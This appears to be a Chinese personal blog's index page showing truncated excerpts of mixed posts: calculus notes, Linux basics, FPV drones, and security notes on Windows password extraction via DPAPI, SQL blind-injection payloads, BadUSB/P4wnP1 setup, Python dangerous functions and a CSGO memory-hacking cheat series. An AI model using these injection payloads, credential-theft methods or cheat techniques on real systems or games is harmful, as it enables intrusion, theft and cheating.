Windows学习笔记
8eded85d4fafea4f1135cf979a44ecf1194d5e64d0f18cbb39cf3bf5af6ca77589f6b935de5a9d73604d0296b60d7d41920aeb372cc6ae68ad3718dfb5bfba8fa8563a022a68aae02075cbd357976b972747843d33cc003e41869e5b92f4a6b907396994e47378ac32483b3e692d23658976dc04002a8f5047dcd34e0d3223eb8e64eb36ebdb59f0f7d91a63306db51f7c25da4808f68b3223adea3e94c0d84bb8c0d340445636b0e20094495cb47d647c54d27b96028b31e10af74376ef640dda540d45990d9bbee4b415bb16ab158e4200df04a094d09d4749e85825052eb388a7828704860f2bd24557fe4deec34051088917a0294943c ...
Windows本地密码抓取
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
学!后续会持续更新
系统密码
DPAPI解密
使用用户登录密码解密Master Key file,获得Master Key
固定位置: %APPDATA%\Microsoft\Protect\%SID%下往往有多个Master Key file
这是为了安全起见,系统每隔90天会自动生成一个新的Master Key(旧的不会删除)
%APPDATA%\Microsoft\Protect\%SID%下存在一个固定文件Preferred,包含最后一个Master Key file的名称和创建时间,文件结构如下:
typedef struct _tagPreferredMasterKey{ GUID guidMasterKey; FILETIME ftCreated;} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;
完整的流程:
找到本机的Master Key ...
数据库利用汇总
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
找笔记是在太烦人了,干脆全部写在一篇里面(来自1年半后的从写
随手测试语句
语句前面适当加入' 、"、and等参数
#算个MD5extractvalue(1,concat(char(126),md5(1941797210)))#MySQL常用的盲注语句(CASE/**/WHEN/**/(2382=2382)/**/THEN/**/SLEEP(5)/**/ELSE/**/2382/**/END) (select*from(select+sleep(4)union/**/select+1)a)#SQL Server常用的盲注语句/**/and(select+1)>0waitfor/**/delay'0:0:4'/**/#Oracle常用的盲注语句/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('n',2)#PostgreSQL常用 ...
杂项知识汇总
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
验证码相关
手机短信接码
国内平台
https://www.pdflibr.comhttps://www.visitorsms.com/cnhttps://www.becmd.comhttp://www.114sim.comhttps://yunduanxin.nethttp://www.smszk.comhttp://z-sms.comhttp://www.shejiinn.comhttps://sms.cngrok.com
国外平台
https://ch.freephonenum.comhttps://smsreceivefree.comhttps://zh.mytrashmobile.comhttps://www.receive-sms-online.infohttps://receiveasms.comhttps://sms-online.co/receive-free-smshttps://receive-sm ...
Linux学习笔记
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
于2020/3/18日重新排版修改
根目录解析
/ - 根目录
每一个文件和目录都从这里开始。
只有root用户具有该目录下的写权限。此目录和/root目录不同,/root目录是root用户的主目录。
/bin - 用户二进制文件
包含二进制可执行文件。
系统的所有用户使用的命令都设在这里,例如:ps,ls,ping,grep,cp等。
/sbin - 系统二进制文件
就像/bin,/sbin同样也包含二进制可执行文件。
但是,在这个目录下的linux命令通常由系统管理员使用,对系统进行维护。例如:iptables、reboot、fdisk、ifconfig、swapon命令。
/etc - 配置文件
包含所有程序所需的配置文件。
也包含了用于启动/停止单个程序的启动和关闭shell脚本。例如:/etc/resolv.conf、/etc/logrotate.conf
/dev - 设备文件
这些包括终端设备、 ...
P4wnP1全家桶安装及实战
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
今天想用自己USB入侵设备的时候,发现WIFI密码给忘了
重装的时候发现自己没有写详细过程!呸!!最后只能删了重写写过。
写在前头血的教训
树莓派没有那么容易坏不用买第二个!!
网上的wpa_supplicant.conf开启WIFI我试了N次都没成功过
USB转接头一定要买不需要焊接(别买Zero Quick Plug Bad USB
树莓派Zero W自带WIFI所以别再买WIFI模块了
装完P4wnP1切记重启不要直接拔掉会导致开不了机
sudo shutdown -r now
成品图
硬件需求
树莓派Zero W
USB接头
TF卡一张
通过网线连接树莓派
首先在config.txt最末行处换行添加如下代码,打开usb网卡模式
dtoverlay=dwc2
其次在cmdline.txt文件中找到rootwait字段,并在其后面空格添加如下信息,在打开系统时开启 ...
硬件相关知识
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
对两年前的知识进行了下温习,发现好多坑都填上了,然后把之前的文章删了总结到了一篇,到时候还有些点需要填上
Windows/Linux的内存结构
关于栈
两个系统的内容都差不多可以参考这篇文章:Linux栈溢出总结0x00
关于堆
暂时未有,等写到的时候添加
Windows的内存结构分布
首先是内存结构分布图,windows的内存默认是从0x80000000位置开始的
Linux的内存结构分布
首先先放个内存结构图,linux内存默认是从0xC0000000位置开始的
Windows/Linux的汇编区别
x86汇编一直存在两种不同的语法,在intel的官方文档中使用intel语法,Windows也使用intel语法,而UNIX平台的汇编器一直使用AT&T语法。而linux是UNIX衍生的一种系统所有也是使用AT&T语法。
相关区别:
AT&T使用 $ 表示立即操作数,而Intel的 ...
重积分
二重积分概念与性质
概念
定义 设函数$z=f(x,y)$在有界闭区域$D$上有定义,将区域$D$任意分成$n$个小闭区域
\begin{align}\Delta\sigma_{1},\Delta\sigma_{2},\cdots,\Delta\sigma_{n}\end{align}
其中Δσi\Delta\sigma_{i}Δσi表示第iii个小区域,也表示它的面积。在每个Δσi\Delta\sigma_{i}Δσi上任取一点(ξi,ηi)\left(\xi_{i},\eta_{i}\right)(ξi,ηi),作乘积f(ξi,ηi)Δσif\left(\xi_{i},\eta_{i}\right)\Delta\sigma_{i}f(ξi,ηi)Δσi,并求和∑i=1nf(ξi,ηi)Δσi\sum_{i=1}^{n}f\left(\xi_{i},\eta_{i}\right)\Delta\sigma_{i}∑i=1nf(ξi,ηi)Δσi,记λ\lambdaλ为nnn个小区域Δσ1,Δσ2,⋯ ,Δσn\Delta\sigma_{1},\Delta ...
方向导数、梯度与多元函数的极致与最值
前置知识
偏导数
函数沿坐标轴方向的变化率
\begin{align}
f_{x}\left(x_{0}, y_{0}\right) & = \lim _{\Delta x \rightarrow 0} \frac{f\left(x_{0}+\Delta x, y_{0}\right)-f\left(x_{0}, y_{0}\right)}{\Delta x} \\
f_{y}\left(x_{0}, y_{0}\right) & = \lim _{\Delta y \rightarrow 0} \frac{f\left(x_{0}, y_{0}+\Delta y\right)-f\left(x_{0}, y_{0}\right)}{\Delta y}
\end{align}
方向余弦
l⃗=(a,b)\vec{l}=(a, b)l=(a,b)
单位化
\begin{align}
\vec{l} & =\frac{1}{\sqrt{a^{2}+b^{2}}}(a, b) \\
&= \left(\frac{a}{\sqrt{a^{2}+b^{2}}} ...
多元函数微分的几何应用
一元向量值函数及其导数
一元向量值函数
由空间解析几何知道,空间曲线Γ\GammaΓ的参数方程为
\begin{align}\left\{\begin{array}{l}x=\varphi(t), \\y=\psi(t), \quad t \in[\alpha, \beta] \\z=\omega(t),\end{array}\right.\end{align}
方程也可以写成向量形式。若记
\begin{align}\vec{r}=x \vec{i}+y \vec{j}+z \vec{k}, \quad \vec{f}(t)=\varphi(t) \vec {i}+\psi(t) \vec{j}+\omega(t) \vec{k}\end{align}
则方程就成为向量方程
\begin{align}\vec{r}=\vec{f}(t), t \in[\alpha, \boldsymbol{\beta}] \end{align}
定义
设数集D⊂RD\subset\mathbf{R}D⊂R,则称映射f:D→Rnf:D\rightarrow\mathbf{R}^{n}f:D→Rn为 ...
隐函数求导
隐函数的类型
一个方程情形
二元方程
设函数F(x,y)F(x,y)F(x,y)在点P(x0,y0)P\left(x_{0},y_{0}\right)P(x0,y0)的某一领域内具有连续偏导数,且
F(x0,y0)=0F(x_{0},y_{0})=0F(x0,y0)=0
Fy(x0,y0)≠0F_{y}\left(x_{0},y_{0}\right)\neq0Fy(x0,y0)=0
注:Fy≠0⟹y=y(x)F_y\neq0\Longrightarrow y=y(x)Fy=0⟹y=y(x)相应的Fx≠0⟹x=x(y)F_x\neq0\Longrightarrow x=x(y)Fx=0⟹x=x(y)
则方程F(x,y)=0F(x,y)=0F(x,y)=0在点(x0,y0)\left(x_{0},y_{0}\right)(x0,y0)的某一领域内恒能唯一确定
一个连续且有连续偏导的函数y=y(x)y=y(x)y=y(x),它满足y0=y(x0)y_{0}=y\left(x_{0}\right)y0=y(x0),且
\begin{align ...
多元复合函数求导法则
回顾
一元复合函数:y=f(φ(x))⇔y=f(u),u=φ(x)y=f(\varphi(x)) \Leftrightarrow y=f(u), u=\varphi(x)y=f(φ(x))⇔y=f(u),u=φ(x)
其求导有链式法则:dy dx=dy dudu dx\frac{\mathrm{d} y}{\mathrm{~d} x}=\frac{\mathrm{d} y}{\mathrm{~d} u} \frac{\mathrm{d} u}{\mathrm{~d} x} dxdy= dudy dxdu
画出函数关系图:y→u→xy\rightarrow u\rightarrow xy→u→x,可见从yyy到x$$有一条路径,所以结果是1项的和,每一段路径(对应一个导数)乘起来。
全导数
一元函数与多元函数复合的情形
如果函数u=φ(t)u=\varphi(t)u=φ(t)及v=ψ(t)v=\psi(t)v=ψ(t)都在点ttt可导,函数z=f(u,v)z=f(u, v)z=f(u,v)在对应 点(u,v)(u, v)(u,v)具有连续偏导数,那么复合函数z=f[φ(t),ψ( ...
偏导数与全微分
偏导数
函数f(x,y)f(x,y)f(x,y)在点x0,y0x_0,y_0x0,y0关于xxx的偏导数:
\begin{align}f_{x}\left(x_{0}, y_{0}\right) =\left.\frac{\partial f}{\partial x}\right|_{(x_0,y_0)}=\left.\frac{\mathrm{d}}{\mathrm{d}x}f(x,y_0)\right|_{x=x_0}=\lim _{\Delta x \rightarrow 0} \frac{f\left(x_{0}+\Delta x, y_{0}\right)-f\left(x_{0}, y_{0}\right)}{\Delta x}\end{align}
关于yyy的偏导数为:
\begin{align}f_{y}\left(x_{0}, y_{0}\right)=\left.\frac{\partial f}{\partial y}\right|_{(x_0,y_0)}=\left.\frac{\mathrm{d}}{\mathrm{d}y}f(x_0,y)\right ...
多元函数的基本概念
平面点集
坐标平面
当在平面上引人了一个直角坐标系后,平面上的点PPP与有序二元实数组(x,y)(x,y)(x,y)之间就建立了一一对应。于是,我们常把有序实数组(x,y)(x,y)(x,y)与平面上的点PPP视作是等同的。这种建立了坐标系的平而称为坐标平面。二元有序实数组(x,y)(x,y)(x,y)的全体,R2=R×R={(x,y)∣x,y∈R}R^{2}=R \times R=\{(x, y) \mid x, y \in R\}R2=R×R={(x,y)∣x,y∈R}即就表示坐标平面。
from manim import *class NumberPlaneWithPoint(Scene): def construct(self): # 创建坐标系 axes = Axes( x_range=(-5, 5), y_range=(-5, 5), x_length=10, y_length=10, x_axis_config={ ...
空间几何及其方程
空间平面与直线
空间平面及其方程
点法式方程
已知平面Π\PiΠ上一点M0(x0,y0,z0)M_{0}\left(x_{0}, y_{0}, z_{0}\right)M0(x0,y0,z0)及与该平面垂直的非零向量n⃗=(A,B,C)\vec{n}=(A, B, C)n=(A,B,C)它称为该平面的法向量。法向量在这个平面上是无穷多个的
M0(x0,y0,z0)M_0(x_0, y_0, z_0)M0(x0,y0,z0)是平面Π\PiΠ上的一个定点, 且已知该平面的法向量n=(A,B,C)\mathbf{n} = (A, B, C)n=(A,B,C),对于平面上任一点M(x,y,z)M(x, y, z)M(x,y,z),由于向量M0M→=(x−x0,y−y0,z−z0)\overrightarrow{M_0M} = (x - x_0, y - y_0, z - z_0)M0M=(x−x0,y−y0,z−z0)必与平面Π\PiΠ的法向量n\mathbf{n}n垂直,于是有M0M→⋅n=0\overrightarrow{M_0M} · \mathbf{n} ...
向量
共有概念
概念:空间或者平面具有大小和方向的量
表示:AB→\overrightarrow{AB}AB或者a⃗\vec{a}a
膜长:平面或者空间中向量的大小。记作∣AB→∣|\overrightarrow{AB}|∣AB∣或者∣a⃗∣|\vec{a}|∣a∣
特殊向量
单位向量
对于任意向量a⃗\vec{a}a,不论方向如何,若其大小为单位长度,则称其为a⃗\vec{a}a方向上的单位向量(Unit vector)。单位向量通常被记为u⃗\vec{u}u,它们的模长为1。
空间坐标系的三个基向量i⃗=(1,0,0){\displaystyle {\vec {i}}=(1,0,0)}i=(1,0,0),j⃗=(0,1,0){\displaystyle {\vec {j}}=(0,1,0)}j=(0,1,0),k⃗=(0,0,1){\displaystyle {\vec {k}}=(0,0,1)}k=(0,0,1)都是单位向量。
反向量
一个向量v⃗\vec{v}v的反向量(Opposite vector)与它大小相等,但方向相反,一般记作−v⃗{\displaystyle -{\v ...
定积分
定积分
定义
设函数f(x)f(x)f(x)在[a,b][a,b][a,b]上有界,在[a,b][a,b][a,b]中任意插入若干个分点:
\begin{align}a=x_0 < x_1 < \cdots < x_{i-1} < x_i < \cdots < x_{n-1} < x_n=b\end{align}
把[a,b][a,b][a,b]分成nnn个小区间:
\begin{align}[x_0,x_1],\ \cdots,[x_{i-1},x_{i}],\ \cdots,\ [x_{n-1},x_n]\end{align}
各个小区间的长度依次为:
\begin{align}\Delta x_1=x_1-x_0,\ \cdots,\ \Delta x_i=x_{i}-x_{i-1},\cdots,\ \Delta x_n=x_n-x_{n-1}\end{align}
在每个小区间[xi−1,xi][x_{i-1},x_i][xi−1,xi]上任取一点ξi(xi−1≤ξi≤xi)\xi_i(x_{i-1}\le\xi_i\le x_ ...
不定积分
原函数与不定积分
定理就是一句话:连续函数一定有原函数
\begin{align}
\int f(x)\mathrm{~d}x
\end{align}
符号∫\int∫成为积分号,f(x)f(x)f(x)称为被积函数,f(x) dxf(x)\mathrm{~d}xf(x) dx称为被积表达式,xxx称为积分变量
基本积分表
表格内容
∫k dx=kx+C\int k \mathrm{~d} x=k x+C \quad∫k dx=kx+C
∫xμ dx=xμ+1μ+1+C(μ≠−1)\int x^{\mu} \mathrm{~d} x=\frac{x^{\mu+1}}{\mu+1}+C \quad(\mu \neq-1)∫xμ dx=μ+1xμ+1+C(μ=−1)
∫ dxx=ln∣x∣+C\int \frac{\mathrm{~d} x}{x}=\ln \mid x\mid+C∫x dx=ln∣x∣+C
∫ dx1+x2=arctanx+C\int \frac{\mathrm{~d} x}{1+x^{2}}=\arctan x+C∫1+x2 dx ...
函数的单调性、曲线的凹凸性、极值与最大最小值
函数的单调性
定理:设函数f(x)f(x)f(x)在[a,b]\left [a,b \right ][a,b]上连续,(a,b)\left (a,b\right)(a,b)内可导
若在(a,b)\left (a,b\right)(a,b)内f′(x)≥0{f}'(x)\ge0f′(x)≥0且等于0仅在有限点处成立,那么f(x)f(x)f(x)在[a,b]\left [a,b \right ][a,b]上严格单调增加
若在(a,b)\left (a,b\right)(a,b)内f′(x)≤0{f}'(x)\le 0f′(x)≤0且等于0仅在有限点处成立,那么f(x)f(x)f(x)在[a,b]\left [a,b \right ][a,b]上严格单调减少
判断函数单调性的步骤
确定定义域
求一阶导数,找到驻点(f′(x)=0{f}'(x)= 0f′(x)=0的点)和不可导的点
以这两类点划分定义区间,判断f′(x){f}'(x)f′(x)在各子区间内的符号,从而确定函数在各子区间的单调性。一般会列表分析
例题:讨论函数f(x)=13x3 ...
泰勒展开
什么是泰勒公式
基本定义
泰勒公式一句话描述:就是用多项式函数去逼近光滑函数。
设nnn是一个正整数。如果定义在一个包含aaa的区间上的函数fff在aaa点处n+1n+1n+1次可导,那么对于这个区间上的任意xxx都有:
\begin{align} f(x)= & \sum_{n=0}^{\infty} \frac{f^{(n)}(a)}{n !} (x-a)^{n} \\&=f(a)+\frac{f^{\prime}(a)}{1 !}(x-a)+\frac{f^{(2)}(a)}{2 !}(x-a)^{2}+\cdots+\frac{f^{(n)}(a)}{n !}(x-a)^{n}+R_{n}(x)\end{align}
f(n)(a)f^{(n)}(a)f(n)(a)表示f(x)f(x)f(x)在第nnn阶导数的表达式,带入一个值aaa计算后得到的结果(注意,它是个值)
1n!\frac{1}{n!}n!1是一个系数(一个值),每一项都不同,第一项 11!\frac{1}{1!}1!1,第二项12!\frac{1}{2!}2!1依此类推
(x−a)n(x- ...
洛必达法则
洛必达法则
对于分式f(x)g(x)\frac{f(x)}{g(x)}g(x)f(x),如果在自变量的某一变化过程中,分子分母的极限均为零或者均为无穷大,这时该分式的极限可能存在,也可能不存在,通常称这种分式的极限为未定式,分别记为00\frac{0}{0}00和∞∞\frac{\infty}{\infty}∞∞
洛必达法则:在自变量xxx的某一个变化过程中x→a,x→a+,x→a−,x→∞,x→−∞,x→+∞x \to a , x \to a^+ , x \to a^- , x \to \infty , x \to -\infty , x \to + \inftyx→a,x→a+,x→a−,x→∞,x→−∞,x→+∞,设f(x),g(x)f(x),g(x)f(x),g(x) 满足下列条件:
函数f(x),g(x)f(x),g(x)f(x),g(x)的极限均为0或者∞\infty∞
f(x),g(x)f(x),g(x)f(x),g(x)均可导,既f′(x),g′(x){f}'(x),{g}'(x)f′(x),g′(x) 存在,且g′(x)≠0{g} ...
微分中值定理
微积分中的基础概念
罗尔中值定理
前导
可以认为他从AAA点出发,经过一段时间又回到了AAA点,画成s−ts-ts−t(位移-时间)图就是:
根据常识,因为要回到起点,中间必定有速度为0的点,这就是罗尔中值定理
定理
设函数满足以下三个条件:
f(x)f(x)f(x)在闭区间[a,b][a,b][a,b]上连续
f(x)f(x)f(x)在开区间(a,b)(a,b)(a,b)上可导
f(a)=f(b)f(a)=f(b)f(a)=f(b)
则存在ξ∈(a,b)\xi \in (a,b)ξ∈(a,b),使得f′(ξ)=0{f}'(\xi)=0f′(ξ)=0。
f(x)f(x)f(x)在闭区间[a,b][a,b][a,b]上连续是必须的,否则可能没有f′(ξ)=0{f}'(\xi)=0f′(ξ)=0
拉格朗日中值定理
前导
通过交通管理中的区间测速:位移➗时间=平均速度。这样的话可以通过计算你走了一段固定距离的时间来计算你是否超速
时间aaa采集到汽车的位移为f(a)f(a)f(a),时间bbb采集到汽车的位移为f(b)f(b)f(b)
可以据此算出平均速度 ...
极限、导数、微分
极限
微商(即导数)是一种极限。定积分也是一种极限。
关于这一节推荐观看下面视频,讲的是非常的好
符号解释
ε\varepsilonε和δ\deltaδ都表示一个非常小的数,意义是一样的,只是为了让看起来显示不一样
∀\forall∀取任意一个值
直观介绍
《庄子》曰:“一尺之捶,日取其半,万世不竭。”假设有一尺长的线段,每天划去一半,那么它的长度会变得如何呢?如果我们查看特定的某一天,比如说第7天,那么线段的长度还剩1128\frac{1}{128}1281尺。但我们想知道的是,线段的长度“最终”会怎么样?用数学的语言来说,就是以下的数列:
\begin{align}
a_{0} = 1, \quad a_{1} = \frac{1}{2}, \quad a_{2} = \frac{1}{4}, \cdots, a_{n} = \frac{1}{2^{n}}, \cdots
\end{align}
在nnn"非常大"的时候会有什么性质?为此我们可以建立以下的表格看看nnn"非常大"的时候,ana_nan会是什么样子:
nnn
...
函数与映射
映射
定义:XXX、YYY 非空集合, 法则 fff , 对 XXX 中每个元素 xxx 。唯一的yyy 与之对应, f:X→Yf: X \rightarrow Yf:X→Y
三要素:XXX 原像、fff 映射、RfR_{f}Rf 值域
x∈Xx \in Xx∈X对应的yyy是唯一的 , Rf⊂YRf≠YR_{f} \subset Y R_{f} \neq YRf⊂YRf=Y
名称
满足条件
满射
Rf=YR_{f} = YRf=Y
单射
x1≠x2,f(x1)≠f(x2)x_{1} \neq x_{2}, f\left(x_{1}\right) \neq f\left(x_{2}\right)x1=x2,f(x1)=f(x2)
一一映射
既是单射又是满射
逆映射
设f:X→Yf: X \rightarrow Yf:X→Y 单射 , 每个 y∈Rfy \in R_{f}y∈Rf 都有唯一的 x∈Xx \in Xx∈X
复合映射
f[g(x)]f[g(x)]f[g(x)]
函数
函数的概念
定义:设数集$ D ...
FPV笔记
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
随便几张图的,一些选配笔记
穿越机的分类
按尺寸分类
进阶
构成图
飞塔
飞塔是由飞控和电调这两个部分组成的。其核心设备是飞控,全称为飞行控制器,顾名思义,飞控属于飞机的控制系统,你可以把它理解为飞机的大脑,控制着飞机的动力系统(电机、电调、电池、螺旋桨)和图像传输系统(摄像头、图传、接收设备)的正常运作。
电调的话有分四合一电调和分体电调。四合一电调的话是合在一个板块上的,方便焊接。而分体电调是有多个(主要看你又几个桨叶),一个电调控制一个桨叶
两层塔、三层塔有什么区别?
对于新手来说,直接选择飞塔可能会是一个比较省事儿的操作。因为一般来说,同一个厂牌的产品会有比较好的适配性和稳定性,装机的过程也会更加容易。由于机架的类型、空间的区别,飞塔通常会有两层塔和三层塔两种选择。
两层塔一般指的是飞控和电调的组合,适用于机架空间较大的花飞机架;三层塔一般指的是飞控+电调+图传的组合,适用于机架空间比较紧凑的竞速机 ...
代码审计笔记(Python)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
收拾收拾下自己,发现好久没有学习了,上半年状态真的好差,之前学习也静不下心来
从比较简单的语言开始学习,看看能不能有啥好东西
命令执行
标准库危险模块
# 处理标记的都是通用的import osimport subprocessimport commands # 仅限于python2import timeitimport platformimport sys# 直接输入shell命令,以ifconfig举例os.system('ifconfig')os.popen('ifconfig')commands.getoutput('ifconfig') # 仅限于python2commands.getstatusoutput('ifconfig') # 仅限于python2platform.popen('dir').r ...
简单的BadUSB
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
背景知识
HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)攻击的一种。攻击者通过将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。
PS:和之前制作的树莓派监听类似,只是这次的更加小巧
准备工作
单片机(Arduino Leonardo)
Arduino
初始化
首先我们安装好Arduino后需要把我们的单片机连接上,然后选择端口
以及我们的开发板
需要选着好这两个参数才能上传编辑,接着我们能看到两个函数
void setup() { // put your setup code here, to run once:}void loop() { // put your main code here, to run repeatedly:}
setup这个函数是单片机通电后执行的内容
loop是 ...
CSGO破解学习(八)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
透视
看到CS的显示模式是通过OpenGL来做到的,这个是微软官方的动态链接库
作为图形硬件的软件接口,OpenGL 的主要用途是将二维和三维对象呈现为框架缓冲区。 这些对象被描述为顶点序列,这些顶点 (定义几何对象) 或像素 (定义图像) 。 OpenGL 对此数据执行多个过程,以将其转换为像素,以在帧缓冲区中形成最终所需的图像。
以下主题演示 OpenGL 工作原理的全局视图:
基元和命令 将点、线段和多边形作为绘图的基本单位进行讨论:以及命令的处理。
OpenGL 图形控件 描述哪些图形操作 OpenGL 控件及其不控制。
执行模型 讨论用于解释 OpenGL 命令的客户端/服务器模型。
基本 OpenGL 操作提供有关 OpenGL 如何处理数据以在帧缓冲区中生成相应图像的高级说明。
OpenGL 函数名称描述 OpenGL 中使用的命名约定。
我们只需要关注两个函数
openGL32.dll -> gl ...
CSGO破解学习(七)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
分析游戏的结构体
首先我们拿出我们之前的基地址进行结构体分析
然后往下拉找到7C 这个位置
打开有这些结构体,我们一个一个的点开看,7C的00便宜没有什么数据,但是04偏移打开竟然看到了我们的指针
那么X坐标的真实偏移应该是cstrike.exe+11069BC+7C+04+08,而不是cstrike.exe+11069BC+88,那么我们就可以印证了上一篇的猜想
查找准心指向
我们首先新建一个未知的扫描(新建的时候需要把准心对着墙壁),然后把准心对着自己队友后选择变化了,然后移到墙上搜索变化了,往复搜索最终会得到
这些数据,然后我们在跑到敌人的位置,把准心对着敌人然后在搜索变化了
就剩下这几个值,接着我们对着另一个敌人
可以看到一个值还是2,而一个值变成了6,那么我们就根据之前搜索到的数据来判断,09E1DBD8这个是阵营,09E1DBDC是敌人编号,然后我们看之前的偏移值
和上面的偏移相差不大,所以就得到了下 ...
CSGO破解学习(六)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
获取手雷地址
首先需要找到手雷的基地址,通过买手雷,然后丢了,然后在买进行搜索
然后在基地址中筛选最终的值为0583D9F8接着找基地址,右键查看什么修改了它
可以看到这个值和我们之前的不太一样,它是ecx+eax*4+000005F8 也就是说0583D3D0+C*4+5F8,算出结果是0583D3D0+628,接着使用结构体的方式来确认数值
为什么上图的地址是18B19630而不是0583D3D0了是因为我切换了地图
猜测以及思考
通过找了这么多的数据,我们可以进行一下分析,大概可以猜测一下人物的结构体
cstrike.exe+11069BC+7c存放的是整个人物的基址
cstrike.exe+11069BC+7c+4存放的关于游戏内人物具体属性的具体地址
cstrike.exe+11069BC+7c+5F0 存放的是使用武器的地址
我们通过猜测结构体,来到具体的内存位置,对人物进行操作,然后对内存进行观察,可以 ...
CSGO破解学习(五)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前置
CSGO版本更改为v3248(对之前版本的基地址进行了修改)
获取自己和敌人坐标
首先站在平面上搜索单浮点
然后在最低点的石头上搜索增加的值
接着走到顶还是搜索增加的值
接着跳下来搜索减少的
然后乱动搜索未变动的
然后跳起来的瞬间搜索变动的值
接着一个值一个值的去测试,但是这种很大的值和0都不用管它,找那种大量一样的值,然后批量选择按空格键锁定,看下人物能不能调高,如果不行那么就表示这个值是对的,最终锁定了这个值
然后就是通过老方法找基址了
接着搜索
一下子就找到了,一个是我们的地址,一个是敌人的地址,接着浏览相关内存区域
就能找到X和Y的坐标了
然后同理找到我们和敌人共用的内存地址
然后验证下
切记要等他指针变成不是你自己地址的时候去修改他
随时下包
首先搜索未知地址然后进入到下包点
看到这个变成红绿闪烁的时候搜索变动的值,然后离开下包点
等这个变成绿色的时候再次搜索变动的,以此往复
...
CSGO破解学习(四)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
手枪连发
查找方式和之前的无后座力一样的操作,通过浏览内存地址区域(当前角色的主武器子弹地址),然后我们可以看到,开枪后按住左键只有一个地址在疯狂跳动,松开武器后直接变为了0
我们把这个地址添加到列表中,然后锁定他
可以看到手枪变成了冲锋枪,然后通过基地址一查,和冲锋枪的无后座力是同一个值,我们锁定无后座力的值查看
辨别敌我
首先添加3个机器人,然后按~键弹出控制面板,输入bot_stop 1
接着把准心对着敌人进行进行搜索未知初始值
然后把准心移开后搜索变动的值
接着乱跑乱动后搜索未变动的值
接着把准心再次放到敌人身上搜索变动的值,后重复这些动作
最终只剩下这些值以后,当我们把鼠标当道敌人身上可以看到绿色和黑色的地址中有一个值06689B2C和01A01F14都是为2,而06689B30和01A01F18显示不同的数值,接下来我们切换到自己的阵营看看
06689B2C和01A01F14的值变成了1,而066 ...
CSGO破解学习(三)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
被攻击不减速
有两种方式来搜索这个地址
编辑->热键,然后在变动的数值和未变动的数值中设置快捷键,然后通过在扫描类型中选择:未知的初始化值,然后在被攻击的时候按变动的数值快捷键,未被攻击的时候按未变动的数值快捷键,来找出值(速度巨慢)
根据C++结构体的方式来查找
我们可以看到所有当前角色的指针都是cstrike.exe+D6E63C+7C然后加上某个值,那么我们就认为它代表的是这个游戏中当前角色,所有我们使用cstrike.exe+D6E63C+7C+5E8的这个值来查找,右键浏览相关内存区域
接着查看在内存区域右键切换数据类型
最后就在攻击和被攻击的时候分别查看上面一块区域和下面一块区域的内存地址,找到想符合的值,就是这个人物结构体上下找相关的值
图中纵坐标0066C5670横坐标38位置的值可以看到我们被攻击了就变成了小于1的值,如果不被攻击就为1,我们就断定他就是被攻击的小数值,然后我们右键这个值然后把 ...
SMB匿名访问共享
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
kali
修改文件/etc/samba/smb.conf,内容如下:
[global] map to guest = bad user server role = standalone server usershare allow guests = yes idmap config * : backend = tdb smb ports = 445[smb] comment = Samba path = /tmp/ guest ok = yes read only = no browsable = yes
然后启动服务
service smbd start service nmbd start
然后挂在共享目录
mount -t cifs //192.168.50.28/ascotbe /tmp
然后访问的Windows需要开启这个设置
windows
启用Gue ...
CSGO破解学习(二)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
搜索血量
在搜索血量的时候我按着之前子弹的办法来搜索,结果找不到具体的值,后面发现血量有可能是单浮点,而并不是我们看到的那个整数
然后我们购买炸弹o+4进行购买,然后炸自己(别炸死了),就按这种方式一直搜索,然后找到黑色的地址通过验证子弹的方式来验证,最终找到如下临时地址
接着按着子弹的方式去找他的基址
然后搜索这个地址可以找到四个值,使用这个方法来查找
